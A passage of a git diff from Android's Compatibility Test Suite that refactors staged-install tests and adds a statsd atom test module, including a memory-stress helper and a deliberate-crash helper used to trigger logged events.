-                apkFileName.endsWith(".apex"));
-        int sessionId = Install.single(empty).setStaged().createSession();
-        try (PackageInstaller.Session session =
-                     InstallUtils.openPackageInstallerSession(sessionId)) {
-            writeApk(session, apkFileName, outputFileName);
-            // Commit the session (this will start the installation workflow).
-            Log.i(TAG, "Committing session for apk: " + apkFileName);
-            commitSession(sessionId);
-            return new StageSessionResult(sessionId, LocalIntentSender.getIntentSenderResult());
+        File tmpFile = File.createTempFile(outputFileName, null);
+        try (InputStream is =
+                     StagedInstallTest.class.getClassLoader().getResourceAsStream(apkFileName)) {
+            Files.copy(is, tmpFile.toPath(), StandardCopyOption.REPLACE_EXISTING);
         }
+        TestApp testApp = new TestApp(tmpFile.getName(), null, -1,
+                apkFileName.endsWith(".apex"), tmpFile);
+        return stageSingleApk(testApp);
     }
 
     private static StageSessionResult stageSingleApk(TestApp testApp) throws Exception {
@@ -1243,17 +1278,15 @@
         int sessionId = Install.single(testApp).setStaged().createSession();
         // Commit the session (this will start the installation workflow).
         Log.i(TAG, "Committing session for apk: " + testApp);
-        commitSession(sessionId);
-        return new StageSessionResult(sessionId,
-                LocalIntentSender.getIntentSenderResult(sessionId));
+        Intent result = commitSession(sessionId);
+        return new StageSessionResult(sessionId, result);
     }
 
     private static StageSessionResult stageMultipleApks(TestApp... testApps) throws Exception {
         Log.i(TAG, "Staging an install of " + Arrays.toString(testApps));
         int multiPackageSessionId = Install.multi(testApps).setStaged().createSession();
-        commitSession(multiPackageSessionId);
-        return new StageSessionResult(
-                multiPackageSessionId, LocalIntentSender.getIntentSenderResult());
+        Intent result = commitSession(multiPackageSessionId);
+        return new StageSessionResult(multiPackageSessionId, result);
     }
 
     private static void assertSessionApplied(int sessionId) {
@@ -1328,20 +1361,6 @@
         }
     }
 
-    private static void writeApk(PackageInstaller.Session session, String apkFileName,
-            String outputFileName)
-            throws Exception {
-        try (OutputStream packageInSession = session.openWrite(outputFileName, 0, -1);
-             InputStream is =
-                     StagedInstallTest.class.getClassLoader().getResourceAsStream(apkFileName)) {
-            byte[] buffer = new byte[4096];
-            int n;
-            while ((n = is.read(buffer)) >= 0) {
-                packageInSession.write(buffer, 0, n);
-            }
-        }
-    }
-
     // TODO(ioffe): not really-tailored to staged install, rename to InstallResult?
     private static final class StageSessionResult {
         private final int sessionId;
@@ -1366,6 +1385,38 @@
         }
     }
 
+    /**
+     * Counts the number of broadcast intents received for a given type during the test.
+     * Used by to check no broadcast intents were received during the test.
+     */
+    private static class BroadcastCounter extends BroadcastReceiver {
+        private final Context mContext;
+        private final AtomicInteger mNumBroadcastReceived = new AtomicInteger();
+
+        BroadcastCounter(String action) {
+            mContext = InstrumentationRegistry.getInstrumentation().getContext();
+            mContext.registerReceiver(this, new IntentFilter(action));
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            mNumBroadcastReceived.incrementAndGet();
+        }
+
+        /**
+         * Waits for a while and checks no broadcasts are received.
+         */
+        void assertNoBroadcastReceived() {
+            try {
+                // Sleep for a reasonable amount of time and check no broadcast is received
+                Thread.sleep(TimeUnit.SECONDS.toMillis(10));
+            } catch (InterruptedException ignore) {
+            }
+            mContext.unregisterReceiver(this);
+            assertThat(mNumBroadcastReceived.get()).isEqualTo(0);
+        }
+    }
+
     private static String extractErrorMessage(Intent result) {
         int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
                 PackageInstaller.STATUS_FAILURE);
@@ -1386,58 +1437,19 @@
         return getPackageInstaller().getSessionInfo(sessionId);
     }
 
-    private static void assertStatusSuccess(Intent result) {
-        int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
-                PackageInstaller.STATUS_FAILURE);
-        if (status == -1) {
-            throw new AssertionError("PENDING USER ACTION");
-        } else if (status > 0) {
-            String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
-            throw new AssertionError(message == null ? "UNKNOWN FAILURE" : message);
-        }
-    }
-
     private void waitForIsFailedBroadcast(int sessionId) {
         Log.i(TAG, "Waiting for session " + sessionId + " to be marked as failed");
-        try {
-
-            PackageInstaller.SessionInfo info = waitForBroadcast(sessionId);
-            assertThat(info).isStagedSessionFailed();
-        } catch (Exception e) {
-            throw new AssertionError(e);
-        }
+        PackageInstaller.SessionInfo info = waitForBroadcast(sessionId);
+        assertThat(info).isStagedSessionFailed();
     }
 
     private void waitForIsReadyBroadcast(int sessionId) {
         Log.i(TAG, "Waiting for session " + sessionId + " to be ready");
-        try {
-            PackageInstaller.SessionInfo info = waitForBroadcast(sessionId);
-            assertThat(info).isStagedSessionReady();
-        } catch (Exception e) {
-            throw new AssertionError(e);
-        }
+        PackageInstaller.SessionInfo info = waitForBroadcast(sessionId);
+        assertThat(info).isStagedSessionReady();
     }
 
-    private PackageInstaller.SessionInfo waitForBroadcast(int sessionId) throws Exception {
-        PackageInstaller.SessionInfo info =
-                SessionUpdateBroadcastReceiver.sessionBroadcasts.poll(60, TimeUnit.SECONDS);
-        assertWithMessage("Timed out while waiting for session to get ready")
-                .that(info).isNotNull();
-        assertThat(info.getSessionId()).isEqualTo(sessionId);
-        return info;
-    }
-
-    private void assertNoSessionCommitBroadcastSent() throws Exception {
-        PackageInstaller.SessionInfo info =
-                SessionUpdateBroadcastReceiver.sessionCommittedBroadcasts.poll(10,
-                        TimeUnit.SECONDS);
-        assertThat(info).isNull();
-    }
-
-    private void assertNoSessionUpdatedBroadcastSent() throws Exception {
-        PackageInstaller.SessionInfo info =
-                SessionUpdateBroadcastReceiver.sessionBroadcasts.poll(10,
-                        TimeUnit.SECONDS);
-        assertThat(info).isNull();
+    private PackageInstaller.SessionInfo waitForBroadcast(int sessionId) {
+        return InstallUtils.waitForSession(sessionId);
     }
 }
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
index 209cb6a..66f2510 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
@@ -588,8 +588,6 @@
     @Test
     @LargeTest
     public void testInstallApkChangingFingerprint() throws Exception {
-        assumeThat(getDevice().getBuildFlavor(), not(endsWith("-user")));
-
         try {
             getDevice().executeShellCommand("setprop persist.pm.mock-upgrade true");
             runPhase("testInstallApkChangingFingerprint");
@@ -660,6 +658,16 @@
         runPhase("testApexWithUnsignedPayloadFailsVerification");
     }
 
+    @Test
+    @LargeTest
+    public void testApexSetsUpdatedSystemAppFlag() throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testApexSetsUpdatedSystemAppFlag_preUpdate");
+        installV2Apex();
+        runPhase("testApexSetsUpdatedSystemAppFlag_postUpdate");
+    }
+
     /**
      * Test non-priv apps cannot access /data/app-staging folder contents
      */
diff --git a/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/Android.bp b/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/Android.bp
index 9a926c1..09fb908 100644
--- a/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/Android.bp
+++ b/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/Android.bp
@@ -12,16 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-NCSA
-    default_applicable_licenses: ["cts_license"],
-}
-
 android_app_import {
     name: "CtsShimTargetPSdkPrebuilt",
     // Make sure the build system doesn't try to resign the APK
@@ -43,4 +33,4 @@
         },
     },
     presigned: true,
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/stagedinstall/testdata/apk/StagedInstallTestAppSamePackageNameAsApex.xml b/hostsidetests/stagedinstall/testdata/apk/StagedInstallTestAppSamePackageNameAsApex.xml
index 2954538..6aa9b5b 100644
--- a/hostsidetests/stagedinstall/testdata/apk/StagedInstallTestAppSamePackageNameAsApex.xml
+++ b/hostsidetests/stagedinstall/testdata/apk/StagedInstallTestAppSamePackageNameAsApex.xml
@@ -22,7 +22,8 @@
     <uses-sdk android:minSdkVersion="19" />
 
     <application android:label="StagedInstall Test App With Same Package Name As Apex">
-        <activity android:name="com.android.tests.stagedinstall.testapp.MainActivity">
+        <activity android:name="com.android.tests.stagedinstall.testapp.MainActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
diff --git a/hostsidetests/statsdatom/Android.bp b/hostsidetests/statsdatom/Android.bp
new file mode 100644
index 0000000..4e6f943
--- /dev/null
+++ b/hostsidetests/statsdatom/Android.bp
@@ -0,0 +1,77 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsStatsdAtomHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: [
+        "src/**/alarm/*.java",
+        "src/**/appops/*.java",
+        "src/**/appstart/*.java",
+        "src/**/batterycycle/*.java",
+        "src/**/binderstats/*.java",
+        "src/**/bluetooth/*.java",
+        "src/**/cpu/*.java",
+        "src/**/devicepower/*.java",
+        "src/**/gnss/*.java",
+        "src/**/jobscheduler/*.java",
+        "src/**/integrity/*.java",
+        "src/**/memory/*.java",
+        "src/**/net/*.java",
+        "src/**/notification/*.java",
+        "src/**/permissionstate/*.java",
+        "src/**/settingsstats/*.java",
+        "src/**/statsd/*.java",
+        "src/**/telephony/*.java",
+        "src/**/wifi/*.java",
+    ],
+
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+
+    libs: [
+        "compatibility-host-util",
+        "core_cts_test_resources",
+        "cts-tradefed",
+        "host-libprotobuf-java-full",
+        "platformprotos",
+        "tradefed",
+        "truth-prebuilt",
+    ],
+
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+        "perfetto_config-full",
+    ],
+
+    data: [
+        ":CtsStatsdAtomApp",
+        ":CtsStatsdApp", //TODO(b/163546661): Remove once migration to new lib is complete.
+    ]
+}
+
+java_library_host {
+    name: "cts-statsd-atom-host-test-utils",
+    srcs: ["src/**/lib/*.java"],
+    libs: [
+        "compatibility-host-util",
+        "cts-tradefed",
+        "host-libprotobuf-java-full",
+        "platformprotos",
+        "tradefed",
+        "truth-prebuilt",
+    ],
+}
diff --git a/hostsidetests/statsdatom/AndroidTest.xml b/hostsidetests/statsdatom/AndroidTest.xml
new file mode 100644
index 0000000..e353d1a
--- /dev/null
+++ b/hostsidetests/statsdatom/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS statsd atom hostside tests">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="statsd" />
+    <option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsStatsdAtomHostTestCases.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/statsdatom/OWNERS b/hostsidetests/statsdatom/OWNERS
new file mode 100644
index 0000000..062d0dd
--- /dev/null
+++ b/hostsidetests/statsdatom/OWNERS
@@ -0,0 +1,8 @@
+# Bug component: 366902
+jeffreyhuang@google.com
+jtnguyen@google.com
+muhammadq@google.com
+ruchirr@google.com
+singhtejinder@google.com
+tsaichristine@google.com
+yro@google.com
diff --git a/hostsidetests/statsdatom/TEST_MAPPING b/hostsidetests/statsdatom/TEST_MAPPING
new file mode 100644
index 0000000..a9505f5
--- /dev/null
+++ b/hostsidetests/statsdatom/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit-large" : [
+    {
+      "name" : "CtsStatsdAtomHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/Android.bp b/hostsidetests/statsdatom/apps/statsdapp/Android.bp
new file mode 100644
index 0000000..d5aae9e
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/Android.bp
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+cc_library_shared {
+    name: "liblmkhelper_statsdatom", //TODO(b/163546661): rename back to liblmkhelper.
+    srcs: ["jni/alloc_stress_activity.cpp"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    header_libs: ["jni_headers"],
+    shared_libs: ["liblog"],
+    stl: "c++_static",
+    sdk_version: "current",
+}
+
+cc_library_shared {
+    name: "libcrashhelper",
+    srcs: ["jni/crash_activity.cpp"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    header_libs: ["jni_headers"],
+    stl: "c++_static",
+    sdk_version: "current",
+}
+
+android_test_helper_app {
+    name: "CtsStatsdAtomApp",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    min_sdk_version: "28",
+    srcs: [
+        "src/**/*.java",
+        ":statslog-statsdatom-cts-java-gen",
+    ],
+    libs: [
+        "android.test.runner",
+        "junit",
+        "org.apache.http.legacy",
+    ],
+    privileged: true,
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "androidx.legacy_legacy-support-v4",
+        "androidx.test.rules",
+        "cts-net-utils",
+    ],
+    jni_libs: [
+        "liblmkhelper_statsdatom",
+        "libcrashhelper",
+    ],
+    compile_multilib: "both",
+}
+
+genrule {
+    name: "statslog-statsdatom-cts-java-gen",
+    tools: ["stats-log-api-gen"],
+    cmd: "$(location stats-log-api-gen) --java $(out) --module cts --javaPackage com.android.server.cts.device.statsdatom --javaClass StatsLogStatsdCts",
+    out: ["com/android/server/cts/device/statsdatom/StatsLogStatsdCts.java"],
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/AndroidManifest.xml b/hostsidetests/statsdatom/apps/statsdapp/AndroidManifest.xml
new file mode 100644
index 0000000..1ffa00a
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/AndroidManifest.xml
@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.server.cts.device.statsdatom"
+     android:versionCode="10">
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.BLUETOOTH"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
+    <uses-permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE"/>
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.CONFIGURE_DISPLAY_BRIGHTNESS"/>
+    <uses-permission android:name="android.permission.DUMP"/> <!-- must be granted via pm grant -->
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.READ_SYNC_STATS"/>
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
+    <uses-permission android:name="android.permission.VIBRATE"/>
+    <uses-permission android:name="android.permission.WAKE_LOCK"/>
+    <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS"/>
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
+
+    <application android:label="@string/app_name">
+        <uses-library android:name="android.test.runner"/>
+        <uses-library android:name="org.apache.http.legacy"
+             android:required="false"/>
+
+        <service android:name=".StatsdCtsBackgroundService"
+             android:exported="true"/>
+        <service android:name=".LmkVictimBackgroundService"
+             android:process=":lmk_victim"
+             android:exported="true"/>
+        <activity android:name=".StatsdCtsForegroundActivity"
+             android:exported="true"/>
+        <service android:name=".StatsdCtsForegroundService"
+             android:foregroundServiceType="camera"
+             android:exported="true"/>
+
+        <activity android:name=".VideoPlayerActivity"
+             android:label="@string/app_name"
+             android:resizeableActivity="true"
+             android:supportsPictureInPicture="true"
+             android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation"
+             android:launchMode="singleTop"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+
+        <activity android:name=".DaveyActivity"
+             android:exported="true"/>
+        <activity android:name=".ANRActivity"
+             android:label="ANR Test Activity"
+             android:launchMode="singleInstance"
+             android:process=":ANRProcess"
+             android:exported="true"/>
+
+        <service android:name=".StatsdAuthenticator"
+             android:exported="false">
+            <intent-filter>
+                <action android:name="android.accounts.AccountAuthenticator"/>
+            </intent-filter>
+
+            <meta-data android:name="android.accounts.AccountAuthenticator"
+                 android:resource="@xml/authenticator"/>
+        </service>
+        <service android:name="StatsdSyncService"
+             android:exported="false">
+            <intent-filter>
+                <action android:name="android.content.SyncAdapter"/>
+            </intent-filter>
+            <meta-data android:name="android.content.SyncAdapter"
+                 android:resource="@xml/syncadapter"/>
+        </service>
+
+        <provider android:name=".StatsdProvider"
+             android:authorities="com.android.server.cts.device.statsdatom.provider"/>
+
+        <service android:name=".StatsdJobService"
+             android:permission="android.permission.BIND_JOB_SERVICE"/>
+
+        <service android:name=".DummyCallscreeningService"
+             android:permission="android.permission.BIND_SCREENING_SERVICE"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.telecom.CallScreeningService"/>
+            </intent-filter>
+        </service>
+
+        <service android:name=".IsolatedProcessService"
+             android:isolatedProcess="true"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.server.cts.device.statsdatom"
+         android:label="CTS tests of android.os.statsdatom stats collection">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+</manifest>
diff --git a/hostsidetests/statsdatom/apps/statsdapp/jni/alloc_stress_activity.cpp b/hostsidetests/statsdatom/apps/statsdapp/jni/alloc_stress_activity.cpp
new file mode 100644
index 0000000..0a005af
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/jni/alloc_stress_activity.cpp
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include <algorithm>
+#include <cstring>
+#include <fstream>
+#include <iostream>
+#include <jni.h>
+#include <numeric>
+#include <sstream>
+#include <string>
+#include <tuple>
+#include <unistd.h>
+
+#include <android/log.h>
+#define LOG(...) __android_log_write(ANDROID_LOG_INFO, "ALLOC-STRESS", __VA_ARGS__)
+
+using namespace std;
+
+size_t s = 8 * (1 << 20); // 8 MB
+void *gptr;
+extern "C" JNIEXPORT void JNICALL
+Java_com_android_server_cts_device_statsdatom_StatsdCtsForegroundActivity_cmain(
+        JNIEnv *, jobject /* this */) {
+    long long allocCount = 0;
+    while (1) {
+        char *ptr = (char *)malloc(s);
+        memset(ptr, (int)allocCount >> 10, s);
+        for (int i = 0; i < s; i += 4096) {
+            *((long long *)&ptr[i]) = allocCount + i;
+        }
+        allocCount += s;
+        std::stringstream ss;
+        ss << "total alloc: " << allocCount / (1 << 20);
+        LOG(ss.str().c_str());
+        gptr = ptr;
+
+        // If we are too aggressive allocating, we will end up triggering the
+        // OOM reaper instead of LMKd.
+        usleep(1000);
+    }
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/jni/crash_activity.cpp b/hostsidetests/statsdatom/apps/statsdapp/jni/crash_activity.cpp
new file mode 100644
index 0000000..f213738
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/jni/crash_activity.cpp
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include <jni.h>
+#include <signal.h>
+
+extern "C" JNIEXPORT void JNICALL
+Java_com_android_server_cts_device_statsdatom_StatsdCtsForegroundActivity_segfault(
+        JNIEnv*, jobject /* this */) {
+    raise(SIGSEGV);
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/res/layout/activity_davey.xml b/hostsidetests/statsdatom/apps/statsdapp/res/layout/activity_davey.xml
new file mode 100644
index 0000000..064f808
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/res/layout/activity_davey.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:custom="http://schemas.android.com/apk/res/com.android.server.cts.device.statsdatom"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
+  <com.android.server.cts.device.statsdatom.DaveyView
+      android:id="@+id/davey_view"
+      android:layout_width="match_parent"
+      android:layout_height="match_parent"
+      custom:causeDavey="false" />
+</LinearLayout>
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/apps/statsdapp/res/layout/activity_main.xml b/hostsidetests/statsdatom/apps/statsdapp/res/layout/activity_main.xml
new file mode 100644
index 0000000..a029c80
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/res/layout/activity_main.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="fill_parent"
+    android:layout_height="fill_parent"
+    android:orientation="vertical">
+
+    <FrameLayout
+        android:id="@+id/video_frame"
+        android:layout_width="fill_parent"
+        android:layout_height="fill_parent">
+
+        <VideoView
+            android:id="@+id/video_player_view"
+            android:layout_width="fill_parent"
+            android:layout_height="fill_parent" />
+    </FrameLayout>
+</RelativeLayout>
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/apps/statsdapp/res/raw/colors_video.mp4 b/hostsidetests/statsdatom/apps/statsdapp/res/raw/colors_video.mp4
new file mode 100644
index 0000000..0bec670
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/res/raw/colors_video.mp4
Binary files differ
diff --git a/hostsidetests/statsdatom/apps/statsdapp/res/raw/good.mp3 b/hostsidetests/statsdatom/apps/statsdapp/res/raw/good.mp3
new file mode 100644
index 0000000..d20f772
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/res/raw/good.mp3
Binary files differ
diff --git a/hostsidetests/statsdatom/apps/statsdapp/res/values/attrs.xml b/hostsidetests/statsdatom/apps/statsdapp/res/values/attrs.xml
new file mode 100644
index 0000000..e769146
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/res/values/attrs.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<resources>
+  <declare-styleable name="DaveyView">
+    <attr name="causeDavey" format="boolean" />
+  </declare-styleable>
+</resources>
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/apps/statsdapp/res/values/strings.xml b/hostsidetests/statsdatom/apps/statsdapp/res/values/strings.xml
new file mode 100644
index 0000000..9dde420
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/res/values/strings.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android"
+           xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="app_name">CTS Statsd Atoms App</string>
+</resources>
diff --git a/hostsidetests/statsdatom/apps/statsdapp/res/xml/authenticator.xml b/hostsidetests/statsdatom/apps/statsdapp/res/xml/authenticator.xml
new file mode 100644
index 0000000..13a2287
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/res/xml/authenticator.xml
@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+          http://www.apache.org/licenses/LICENSE-2.0
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
+    android:accountType="com.android.cts.statsdatom"
+    android:label="@string/app_name" />
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/apps/statsdapp/res/xml/syncadapter.xml b/hostsidetests/statsdatom/apps/statsdapp/res/xml/syncadapter.xml
new file mode 100644
index 0000000..d91d4c7
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/res/xml/syncadapter.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
